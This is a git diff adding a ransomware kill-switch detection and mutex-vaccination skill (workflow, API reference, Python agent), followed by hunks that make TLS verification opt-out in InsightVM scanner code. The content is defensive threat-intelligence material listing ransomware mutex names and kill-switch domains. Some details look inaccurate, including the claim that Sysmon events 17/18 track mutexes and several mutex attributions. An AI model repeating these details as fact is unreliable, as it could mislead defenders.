(github.com/albertzsigovits/malware-mutex) + +## Workflow + +### Step 1: Identify Kill Switch Mechanisms in Ransomware + +Analyze samples for common kill switch patterns: + +``` +Kill Switch Types Found in Ransomware: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. MUTEX-BASED (most common): + - Ransomware creates a named mutex at startup + - If mutex already exists → another instance is running → exit + - Defense: Pre-create the mutex to prevent execution + - Examples: + WannaCry: Global\MsWinZonesCacheCounterMutexA + Conti: kasKDJSAFJauisiudUASIIQWUA82 + REvil: Global\{GUID-based-on-machine} + Ryuk: Global\YOURPRODUCT_MUTEX + +2. DOMAIN-BASED: + - Ransomware resolves a hardcoded domain before executing + - If domain resolves → security sandbox detected → exit + - Defense: Register/sinkhole the domain to activate kill switch + - Examples: + WannaCry v1: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com + WannaCry v1: fferfsodp9ifjaposdfjhgosurijfaewrwergwea.com + +3. REGISTRY-BASED: + - Check for specific registry key/value before executing + - If key exists → exit (anti-analysis or kill switch) + - Defense: Create the registry key proactively + +4. FILE-BASED: + - Check for existence of specific file or directory + - If marker file exists → exit + - Defense: Create the marker file on all endpoints + +5. LANGUAGE-BASED: + - Check system language/keyboard layout + - Exit if Russian/CIS country keyboard detected + - Common in Eastern European ransomware groups +``` + +### Step 2: Deploy Mutex Vaccination + +Pre-create known ransomware mutexes on endpoints to prevent execution: + +```python +# Windows mutex vaccination using ctypes +import ctypes +from ctypes import wintypes + +kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) + +def create_mutex(name): + """Create a named mutex to vaccinate against ransomware.""" + handle = kernel32.CreateMutexW(None, False, name) + error = ctypes.get_last_error() + if handle == 0: + return False, f"Failed to create mutex: error {error}" + if error == 183: # ERROR_ALREADY_EXISTS + return True, f"Mutex already exists (already vaccinated): {name}" + return True, f"Mutex created successfully: {name}" + +KNOWN_RANSOMWARE_MUTEXES = [ + "Global\\MsWinZonesCacheCounterMutexA", # WannaCry + "Global\\kasKDJSAFJauisiudUASIIQWUA82", # Conti + "Global\\YOURPRODUCT_MUTEX", # Ryuk variant + "Global\\JhbGjhBsSQjz", # Maze + "Global\\sdjfhksjdhfsd", # Generic ransomware +] +``` + +### Step 3: Monitor for Mutex Creation Events + +Use Sysmon to detect when ransomware creates its characteristic mutexes: + +```xml + + + + + + mutex + CreateMutex + + + +``` + +``` +Detection via Event Logs: +━━━━━━━━━━━━━━━━━━━━━━━━ +Windows Security Log: + Event ID 4688: Process creation (enable command line logging) + +Sysmon: + Event ID 1: Process create (includes command line and hashes) + Event ID 17: Pipe created (named pipes, similar to mutexes) + +PowerShell detection: + Event ID 4104: Script block logging (detect mutex creation in scripts) + +Velociraptor artifact: + Windows.Detection.Mutants - Enumerates all named mutant objects +``` + +### Step 4: Monitor DNS for Kill Switch Domains + +Detect ransomware domain-based kill switch resolution attempts: + +``` +DNS Monitoring for Kill Switch Domains: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Monitor DNS queries for known kill switch domains +2. High-entropy domain names (>4.0 entropy in domain label) may indicate + ransomware kill switch domains or DGA-generated C2 domains +3. Queries to newly registered domains from endpoints that typically + only access well-established domains + +Indicators: + - Domain with no prior resolution history + - Domain registered in last 24-72 hours + - High character entropy in domain name + - Resolution attempt followed by either mass encryption (kill switch failed) + or process termination (kill switch activated) +``` + +### Step 5: Enumerate Active Mutexes for Incident Response + +During an active incident, scan endpoints for ransomware-associated mutexes: + +```powershell +# PowerShell: List all named mutant objects using Sysinternals Handle +# handle.exe -a -p | findstr "Mutant" + +# Velociraptor query for mutex hunting: +# SELECT * FROM glob(globs="\\BaseNamedObjects\\*") WHERE Name =~ "mutex_pattern" + +# Python-based enumeration (requires pywin32): +# import win32event +# handle = win32event.OpenMutex(0x00100000, False, "Global\\MutexName") +``` + +## Verification + +- Verify mutex vaccination by attempting to create the same mutex (should get ERROR_ALREADY_EXISTS) +- Test that vaccinated mutexes survive system reboot (they do not; re-apply at startup via scheduled task) +- Confirm DNS monitoring detects test queries for known kill switch domains +- Validate Sysmon event generation for mutex creation by running a test script +- Check that vaccination does not interfere with legitimate applications using similar mutex names +- Test against actual ransomware samples in an isolated sandbox to confirm kill switch activation + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Mutex (Mutant)** | A Windows kernel synchronization object used to ensure only one instance of a program runs; ransomware uses named mutexes to prevent re-infection | +| **Kill Switch** | A mechanism in ransomware that causes it to terminate without encrypting if a specific condition is met (mutex exists, domain resolves, file present) | +| **Mutex Vaccination** | Proactively creating named mutexes on endpoints that match known ransomware mutex names, preventing the ransomware from executing | +| **Domain Sinkhole** | Registering or redirecting a malicious domain to a controlled server; used to activate domain-based kill switches | +| **DGA (Domain Generation Algorithm)** | Algorithm used by malware to generate pseudo-random domain names for C2 communication, sometimes incorporating kill switch checks | + +## Tools & Systems + +- **Sysmon**: Microsoft system monitor providing Event ID 17/18 for named pipe and mutex creation monitoring +- **Velociraptor**: Endpoint visibility tool with built-in artifacts for enumerating mutant (mutex) objects on Windows +- **Sysinternals Handle**: Command-line tool for listing open handles including named mutexes per process +- **malware-mutex (GitHub)**: Community-maintained database of mutexes used by known malware families +- **ANY.RUN**: Interactive malware sandbox that reports mutex creation during dynamic analysis +- **PassiveDNS**: DNS monitoring infrastructure for detecting kill switch domain resolution attempts diff --git a/skills/implementing-ransomware-kill-switch-detection/references/api-reference.md b/skills/implementing-ransomware-kill-switch-detection/references/api-reference.md new file mode 100644 index 00000000..a64beb3e --- /dev/null +++ b/skills/implementing-ransomware-kill-switch-detection/references/api-reference.md @@ -0,0 +1,132 @@ +# API Reference: Ransomware Kill Switch Detection + +## Windows Mutex (Mutant) APIs + +### CreateMutex (kernel32.dll) +```c +HANDLE CreateMutexW( + LPSECURITY_ATTRIBUTES lpMutexAttributes, // NULL for default + BOOL bInitialOwner, // TRUE to own immediately + LPCWSTR lpName // Named mutex string +); +// Returns: Handle to mutex, or NULL on failure +// GetLastError() == ERROR_ALREADY_EXISTS (183) if mutex already exists +``` + +### OpenMutex (kernel32.dll) +```c +HANDLE OpenMutexW( + DWORD dwDesiredAccess, // SYNCHRONIZE (0x00100000) + BOOL bInheritHandle, // FALSE + LPCWSTR lpName // Named mutex string +); +// Returns: Handle if exists, NULL if not found +``` + +### PowerShell Mutex Operations +```powershell +# Create a named mutex +$created = $false +$m = New-Object System.Threading.Mutex($true, "Global\MutexName", [ref]$created) + +# Check if mutex exists +try { + $m = [System.Threading.Mutex]::OpenExisting("Global\MutexName") + "EXISTS" +} catch { "NOT_FOUND" } +``` + +## Known Ransomware Kill Switch Mutexes + +| Mutex Name | Family | Notes | +|-----------|--------|-------| +| Global\MsWinZonesCacheCounterMutexA | WannaCry | Single-instance guard | +| Global\kasKDJSAFJauisiudUASIIQWUA82 | Conti | Instance mutex | +| Global\YOURPRODUCT_MUTEX | Ryuk variant | Instance guard | +| Global\JhbGjhBsSQjz | Maze | Single-instance check | +| Global\{GUID-based} | LockBit | Machine-specific GUID | +| Global\sdjfhksjdhfsd | Generic builders | Common in kits | + +## Known Kill Switch Domains + +| Domain | Family | Discovered By | +|--------|--------|--------------| +| iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com | WannaCry v1 | MalwareTech (2017) | +| fferfsodp9ifjaposdfjhgosurijfaewrwergwea.com | WannaCry v1 | Secondary switch | + +## Sysmon Configuration for Mutex Detection + +### Event ID 1 - Process Creation +```xml + + + + C:\Windows\ + + + +``` + +## Velociraptor Mutex Hunting + +### Windows.Detection.Mutants Artifact +```sql +SELECT * FROM glob(globs="\\BaseNamedObjects\\*") +WHERE Name =~ "MsWinZonesCacheCounterMutexA|kasKDJSAF|YOURPRODUCT" +``` + +### Sysinternals Handle Tool +```cmd +handle.exe -a | findstr /i "Mutant" +handle.exe -a -p | findstr /i "Mutant" +``` + +## DNS Kill Switch Monitoring + +### Python DNS Resolution Check +```python +import socket + +def check_domain(domain): + try: + ip = socket.gethostbyname(domain) + return {"resolves": True, "ip": ip} + except socket.gaierror: + return {"resolves": False} +``` + +### Passive DNS Services +| Service | URL | Notes | +|---------|-----|-------| +| VirusTotal | virustotal.com | Domain resolution history | +| PassiveTotal | community.riskiq.com | DNS record history | +| SecurityTrails | securitytrails.com | Domain intelligence | + +## Malware Mutex Database + +### albertzsigovits/malware-mutex (GitHub) +``` +URL: https://github.com/albertzsigovits/malware-mutex +Format: JSON with mutex name, malware family, source reference +``` + +### ANY.RUN Mutex Search +``` +URL: https://any.run/cybersecurity-blog/mutex-search-in-ti-lookup/ +Search: Threat Intelligence Lookup → Synchronization → Mutex name +``` + +## Mutex Vaccination Deployment Methods + +| Method | Persistence | Scope | +|--------|------------|-------| +| GPO Startup Script | Survives reboot | Domain-wide | +| Scheduled Task (at logon) | Survives reboot | Per-machine | +| Windows Service | Survives reboot | Per-machine | +| Manual PowerShell | Until reboot | Current session | + +### GPO Startup Script Path +``` +Computer Configuration → Policies → Windows Settings → +Scripts (Startup/Shutdown) → Startup → Add Script +``` diff --git a/skills/implementing-ransomware-kill-switch-detection/scripts/agent.py b/skills/implementing-ransomware-kill-switch-detection/scripts/agent.py new file mode 100644 index 00000000..5d0083f2 --- /dev/null +++ b/skills/implementing-ransomware-kill-switch-detection/scripts/agent.py @@ -0,0 +1,322 @@ +#!/usr/bin/env python3 +"""Ransomware kill switch detection and mutex vaccination agent. + +Detects ransomware kill switch mechanisms (mutexes, domains, registry keys) +and can proactively deploy mutex vaccinations to prevent known ransomware +families from executing. Monitors for kill switch domain DNS queries. +""" + +import json +import logging +import platform +import socket +import subprocess +import sys +from datetime import datetime + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", +) +logger = logging.getLogger("killswitch_agent") + +KNOWN_KILL_SWITCH_MUTEXES = { + "Global\\MsWinZonesCacheCounterMutexA": { + "family": "WannaCry", + "type": "instance_guard", + "notes": "Prevents multiple WannaCry instances from running", + }, + "Global\\kasKDJSAFJauisiudUASIIQWUA82": { + "family": "Conti", + "type": "instance_guard", + "notes": "Conti ransomware single-instance mutex", + }, + "Global\\YOURPRODUCT_MUTEX": { + "family": "Ryuk variant", + "type": "instance_guard", + "notes": "Ryuk variant instance check", + }, + "Global\\JhbGjhBsSQjz": { + "family": "Maze", + "type": "instance_guard", + "notes": "Maze ransomware single-instance mutex", + }, + "Global\\{A7FE5338-4DDE-8CDE-9F54-FE88C3B8B532}": { + "family": "LockBit", + "type": "instance_guard", + "notes": "LockBit variant mutex (GUID-based)", + }, + "Global\\MsWinZonesCacheCounterMutexA0": { + "family": "WannaCry variant", + "type": "instance_guard", + "notes": "WannaCry variant with appended zero", + }, + "Global\\55a42b46-43dc-4e6c-abef-2529ddd744c7": { + "family": "BlackCat/ALPHV", + "type": "instance_guard", + "notes": "ALPHV ransomware instance mutex", + }, + "Global\\sdjfhksjdhfsd": { + "family": "Generic ransomware", + "type": "instance_guard", + "notes": "Common in several ransomware builders", + }, +} + +KNOWN_KILL_SWITCH_DOMAINS = { + "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com": { + "family": "WannaCry v1", + "type": "domain_kill_switch", + "notes": "Primary WannaCry kill switch domain registered by MalwareTech", + }, + "fferfsodp9ifjaposdfjhgosurijfaewrwergwea.com": { + "family": "WannaCry v1 (alternate)", + "type": "domain_kill_switch", + "notes": "Secondary WannaCry kill switch domain", + }, + "ayloginilider.com": { + "family": "Emotet (ransomware loader)", + "type": "c2_sinkhole", + "notes": "Emotet C2 domain sinkholed by law enforcement", + }, +} + +KNOWN_KILL_SWITCH_REGISTRY = { + "HKLM\\SOFTWARE\\WannaDecrypt0r": { + "family": "WannaCry", + "type": "registry_marker", + "key": "HKLM\\SOFTWARE\\WannaDecrypt0r", + }, +} + + +def check_mutex_exists_windows(mutex_name): + """Check if a named mutex exists on Windows using PowerShell.""" + ps_script = ( + f'try {{ $m = [System.Threading.Mutex]::OpenExisting("{mutex_name}"); ' + f'"EXISTS" }} catch {{ "NOT_FOUND" }}' + ) + try: + result = subprocess.run( + ["powershell", "-Command", ps_script], + capture_output=True, text=True, timeout=10, + ) + return result.stdout.strip() == "EXISTS" + except (FileNotFoundError, subprocess.TimeoutExpired): + return None + + +def create_mutex_windows(mutex_name): + """Create a named mutex on Windows for vaccination.""" + ps_script = ( + f'$created = $false; ' + f'$m = New-Object System.Threading.Mutex($true, "{mutex_name}", [ref]$created); ' + f'if ($created) {{ "CREATED" }} else {{ "ALREADY_EXISTS" }}; ' + f'Start-Sleep -Seconds 2' + ) + try: + result = subprocess.run( + ["powershell", "-Command", ps_script], + capture_output=True, text=True, timeout=15, + ) + output = result.stdout.strip() + return output == "CREATED" or output == "ALREADY_EXISTS", output + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return False, str(e) + + +def check_kill_switch_domain(domain): + """Check if a kill switch domain resolves (indicating it is active).""" + try: + ip = socket.gethostbyname(domain) + return { + "domain": domain, + "resolves": True, + "ip": ip, + "kill_switch_active": True, + "notes": "Domain resolves - kill switch is ACTIVE (ransomware should abort)", + } + except socket.gaierror: + return { + "domain": domain, + "resolves": False, + "ip": None, + "kill_switch_active": False, + "notes": "Domain does NOT resolve - kill switch INACTIVE (ransomware would proceed)", + } + + +def scan_all_kill_switches(): + """Scan for all known kill switch mechanisms.""" + report = { + "scan_time": datetime.now().isoformat(), + "hostname": platform.node(), + "platform": platform.system(), + "mutex_checks": [], + "domain_checks": [], + "registry_checks": [], + "summary": {"total_checked": 0, "active_vaccinations": 0, "active_domains": 0}, + } + + # Check mutexes (Windows only) + if platform.system() == "Windows": + logger.info("Checking %d known ransomware mutexes...", len(KNOWN_KILL_SWITCH_MUTEXES)) + for mutex_name, info in KNOWN_KILL_SWITCH_MUTEXES.items(): + exists = check_mutex_exists_windows(mutex_name) + check = { + "mutex": mutex_name, + "family": info["family"], + "exists": exists, + "vaccinated": exists is True, + } + report["mutex_checks"].append(check) + report["summary"]["total_checked"] += 1 + if exists: + report["summary"]["active_vaccinations"] += 1 + logger.warning("Mutex EXISTS: %s (%s)", mutex_name, info["family"]) + else: + logger.info("Mutex checking is Windows-only. Skipping on %s.", platform.system()) + + # Check kill switch domains + logger.info("Checking %d known kill switch domains...", len(KNOWN_KILL_SWITCH_DOMAINS)) + for domain, info in KNOWN_KILL_SWITCH_DOMAINS.items(): + result = check_kill_switch_domain(domain) + result["family"] = info["family"] + report["domain_checks"].append(result) + report["summary"]["total_checked"] += 1 + if result["resolves"]: + report["summary"]["active_domains"] += 1 + + return report + + +def vaccinate_endpoint(mutex_list=None): + """Deploy mutex vaccinations to prevent ransomware execution.""" + if platform.system() != "Windows": + return {"error": "Mutex vaccination is only supported on Windows"} + + if mutex_list is None: + mutex_list = list(KNOWN_KILL_SWITCH_MUTEXES.keys()) + + results = {"vaccinated": [], "failed": [], "already_exists": []} + + for mutex_name in mutex_list: + info = KNOWN_KILL_SWITCH_MUTEXES.get(mutex_name, {"family": "Custom"}) + success, status = create_mutex_windows(mutex_name) + + record = {"mutex": mutex_name, "family": info.get("family", "Custom"), "status": status} + + if status == "CREATED": + results["vaccinated"].append(record) + logger.info("Vaccinated: %s (%s)", mutex_name, info.get("family")) + elif status == "ALREADY_EXISTS": + results["already_exists"].append(record) + logger.info("Already vaccinated: %s", mutex_name) + else: + results["failed"].append(record) + logger.error("Failed to vaccinate: %s - %s", mutex_name, status) + + results["summary"] = { + "total_attempted": len(mutex_list), + "newly_vaccinated": len(results["vaccinated"]), + "already_vaccinated": len(results["already_exists"]), + "failed": len(results["failed"]), + } + return results + + +def generate_vaccination_script(): + """Generate a PowerShell script for persistent mutex vaccination.""" + lines = [ + "# Ransomware Mutex Vaccination Script", + "# Deploy via Group Policy Startup Script or Scheduled Task", + f"# Generated: {datetime.now().isoformat()}", + "# This script creates named mutexes that prevent known ransomware from executing", + "", + "$mutexHandles = @()", + "", + ] + + for mutex_name, info in KNOWN_KILL_SWITCH_MUTEXES.items(): + lines.append(f"# {info['family']} - {info['notes']}") + lines.append(f'$created = $false') + lines.append(f'$m = New-Object System.Threading.Mutex($true, "{mutex_name}", [ref]$created)') + lines.append(f'if ($created) {{ Write-Host "Vaccinated: {mutex_name}" }}') + lines.append(f'$mutexHandles += $m') + lines.append("") + + lines.append("# Keep script running to maintain mutex handles") + lines.append("Write-Host 'Mutex vaccination active. Press Ctrl+C to stop.'") + lines.append("while ($true) { Start-Sleep -Seconds 60 }") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Kill Switch Detection & Vaccination Agent") + print("Mutex vaccination, domain monitoring, kill switch analysis") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py scan Scan for all known kill switches") + print(" python agent.py vaccinate Deploy mutex vaccinations") + print(" python agent.py domains Check kill switch domain status") + print(" python agent.py generate-script Generate PowerShell vaccination script") + print(" python agent.py list List all known kill switches") + sys.exit(0) + + command = sys.argv[1] + + if command == "scan": + report = scan_all_kill_switches() + print(f"\n--- Kill Switch Scan Results ---") + print(f" Total checked: {report['summary']['total_checked']}") + print(f" Active mutex vaccinations: {report['summary']['active_vaccinations']}") + print(f" Active kill switch domains: {report['summary']['active_domains']}") + for mc in report["mutex_checks"]: + status = "VACCINATED" if mc["vaccinated"] else "not vaccinated" + print(f" [{status:15s}] {mc['family']:20s} {mc['mutex']}") + for dc in report["domain_checks"]: + status = "ACTIVE" if dc["resolves"] else "INACTIVE" + print(f" [{status:15s}] {dc['family']:20s} {dc['domain']}") + print(f"\n{json.dumps(report, indent=2, default=str)}") + + elif command == "vaccinate": + print("\n[*] Deploying mutex vaccinations...") + results = vaccinate_endpoint() + print(f"\n--- Vaccination Results ---") + print(f" Newly vaccinated: {results['summary']['newly_vaccinated']}") + print(f" Already vaccinated: {results['summary']['already_vaccinated']}") + print(f" Failed: {results['summary']['failed']}") + + elif command == "domains": + print("\n--- Kill Switch Domain Status ---") + for domain, info in KNOWN_KILL_SWITCH_DOMAINS.items(): + result = check_kill_switch_domain(domain) + status = "ACTIVE (resolves)" if result["resolves"] else "INACTIVE (no DNS)" + print(f" [{status}] {info['family']}: {domain}") + if result["resolves"]: + print(f" Resolves to: {result['ip']}") + + elif command == "generate-script": + script = generate_vaccination_script() + output_file = "mutex_vaccination.ps1" + with open(output_file, "w") as f: + f.write(script) + print(f"\n[+] Vaccination script saved to: {output_file}") + print(f"[+] Deploy via GPO startup script or scheduled task") + print(f"\n{script[:500]}...") + + elif command == "list": + print(f"\n--- Known Ransomware Kill Switches ---") + print(f"\nMutexes ({len(KNOWN_KILL_SWITCH_MUTEXES)}):") + for name, info in KNOWN_KILL_SWITCH_MUTEXES.items(): + print(f" {info['family']:20s} {name}") + print(f"\nDomains ({len(KNOWN_KILL_SWITCH_DOMAINS)}):") + for domain, info in KNOWN_KILL_SWITCH_DOMAINS.items(): + print(f" {info['family']:20s} {domain}") + + else: + print(f"[!] Unknown command: {command}") diff --git a/skills/implementing-rapid7-insightvm-for-scanning/SKILL.md b/skills/implementing-rapid7-insightvm-for-scanning/SKILL.md index be73207d..ebf89957 100644 --- a/skills/implementing-rapid7-insightvm-for-scanning/SKILL.md +++ b/skills/implementing-rapid7-insightvm-for-scanning/SKILL.md @@ -61,7 +61,7 @@ Lightweight endpoint agent providing: | CIS Policy Compliance | Configuration benchmarking | Medium | | Web Spider | Web application discovery and assessment | Medium | -## Implementation Steps +## Workflow ### Step 1: Install Security Console @@ -254,7 +254,7 @@ class InsightVMClient: "Content-Type": "application/json", "Authorization": f"Bearer {api_key}" }) - self.session.verify = False # Self-signed cert on console + self.session.verify = not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true" # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments def get_sites(self): """List all configured scan sites.""" diff --git a/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md b/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md index 321048ae..afad7757 100644 --- a/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md +++ b/skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md @@ -1,27 +1,190 @@ -# API Reference: Rapid7 InsightVM scanning configuration audit +# API Reference: Rapid7 InsightVM Vulnerability Scanning -## API Endpoints -InsightVM API: GET /api/3/sites, GET /api/3/scans, GET /api/3/vulnerabilities, scan engines +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for InsightVM REST API v3 | +| `json` | Parse scan results and vulnerability data | +| `base64` | Encode Basic Auth credentials | +| `os` | Read `INSIGHTVM_URL`, `INSIGHTVM_USER`, `INSIGHTVM_PASS` | ## Installation + ```bash pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +InsightVM API v3 uses HTTP Basic Authentication: + +```python +import requests +import os +from requests.auth import HTTPBasicAuth + +INSIGHTVM_URL = os.environ.get("INSIGHTVM_URL", "https://insightvm.example.com:3780") +auth = HTTPBasicAuth( + os.environ["INSIGHTVM_USER"], + os.environ["INSIGHTVM_PASS"], +) +``` + +## REST API v3 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/3/sites` | List all scan sites | +| GET | `/api/3/sites/{id}` | Get site details | +| POST | `/api/3/sites` | Create a new site | +| GET | `/api/3/sites/{id}/assets` | List assets in a site | +| POST | `/api/3/sites/{id}/scans` | Launch a scan on a site | +| GET | `/api/3/scans` | List all scans | +| GET | `/api/3/scans/{id}` | Get scan status and details | +| GET | `/api/3/assets` | List all assets | +| GET | `/api/3/assets/{id}` | Get asset details | +| GET | `/api/3/assets/{id}/vulnerabilities` | Get vulnerabilities for asset | +| GET | `/api/3/vulnerabilities` | List all known vulnerabilities | +| GET | `/api/3/vulnerabilities/{id}` | Get vulnerability details | +| GET | `/api/3/vulnerability_checks` | List vulnerability checks | +| GET | `/api/3/scan_engines` | List scan engines | +| GET | `/api/3/reports` | List generated reports | +| POST | `/api/3/reports` | Create a report configuration | +| POST | `/api/3/reports/{id}/generate` | Generate a report | +| GET | `/api/3/tags` | List all tags | +| GET | `/api/3/policies` | List compliance policies | + +## Core Operations + +### List Sites +```python +resp = requests.get( + f"{INSIGHTVM_URL}/api/3/sites", + auth=auth, + params={"page": 0, "size": 100}, + timeout=30, + verify=True, +) +for site in resp.json().get("resources", []): + print(f"Site: {site['name']} (ID: {site['id']}) — {site.get('description', '')}") +``` + +### Launch a Scan +```python +resp = requests.post( + f"{INSIGHTVM_URL}/api/3/sites/{site_id}/scans", + auth=auth, + json={"engineId": engine_id}, + timeout=30, + verify=True, +) +scan_id = resp.json()["id"] +``` + +### Poll Scan Status +```python +import time + +while True: + resp = requests.get( + f"{INSIGHTVM_URL}/api/3/scans/{scan_id}", + auth=auth, + timeout=30, + verify=True, + ) + status = resp.json()["status"] + if status in ("finished", "stopped", "error"): + break + time.sleep(30) +``` + +### Get Asset Vulnerabilities +```python +resp = requests.get( + f"{INSIGHTVM_URL}/api/3/assets/{asset_id}/vulnerabilities", + auth=auth, + params={"page": 0, "size": 500}, + timeout=60, + verify=True, +) +vulns = resp.json().get("resources", []) +for v in vulns: + print(f" {v['id']} — CVSS: {v.get('cvssV3Score', 'N/A')} — {v.get('status')}") +``` + +### Get Vulnerability Details +```python +resp = requests.get( + f"{INSIGHTVM_URL}/api/3/vulnerabilities/{vuln_id}", + auth=auth, + timeout=30, + verify=True, +) +vuln = resp.json() +# Fields: title, description, cvss, severity, publishedDate, references, exploits +``` + +### Generate a Report +```python +report_config = { + "name": "Monthly Vuln Report", + "format": "pdf", + "scope": {"sites": [site_id]}, + "template": "audit-report", +} +resp = requests.post( + f"{INSIGHTVM_URL}/api/3/reports", + auth=auth, + json=report_config, + timeout=30, + verify=True, +) +report_id = resp.json()["id"] + +# Generate the report +requests.post( + f"{INSIGHTVM_URL}/api/3/reports/{report_id}/generate", + auth=auth, + timeout=30, + verify=True, +) +``` + +## Pagination + +All list endpoints support cursor-based pagination: + +```python +def paginate(endpoint, auth, params=None): + params = params or {} + params.setdefault("size", 500) + page = 0 + while True: + params["page"] = page + resp = requests.get(endpoint, auth=auth, params=params, timeout=60, verify=True) + data = resp.json() + yield from data.get("resources", []) + if page >= data.get("page", {}).get("totalPages", 1) - 1: + break + page += 1 +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "id": 12345, + "status": "finished", + "vulnerabilities": { + "critical": 3, + "severe": 12, + "moderate": 45, + "total": 60 + }, + "assets": 128, + "startTime": "2025-01-15T08:00:00Z", + "endTime": "2025-01-15T09:45:00Z", + "engineName": "Local Scan Engine" +} ``` diff --git a/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py b/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py index 1184ba4d..a3e52810 100644 --- a/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py +++ b/skills/implementing-rapid7-insightvm-for-scanning/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Rapid7 InsightVM scanning configuration audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-rapid7-insightvm-for-scanning/scripts/process.py b/skills/implementing-rapid7-insightvm-for-scanning/scripts/process.py index b38b7d20..74696f32 100644 --- a/skills/implementing-rapid7-insightvm-for-scanning/scripts/process.py +++ b/skills/implementing-rapid7-insightvm-for-scanning/scripts/process.py @@ -18,6 +18,7 @@ Usage: import argparse import json +import os import sys import time import urllib3 @@ -35,7 +36,7 @@ class InsightVMAPI: def __init__(self, console_url, username=None, password=None, api_key=None): self.base_url = f"{console_url.rstrip('/')}/api/3" self.session = requests.Session() - self.session.verify = False + self.session.verify = not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true" # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if api_key: self.session.headers.update({ diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE b/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as 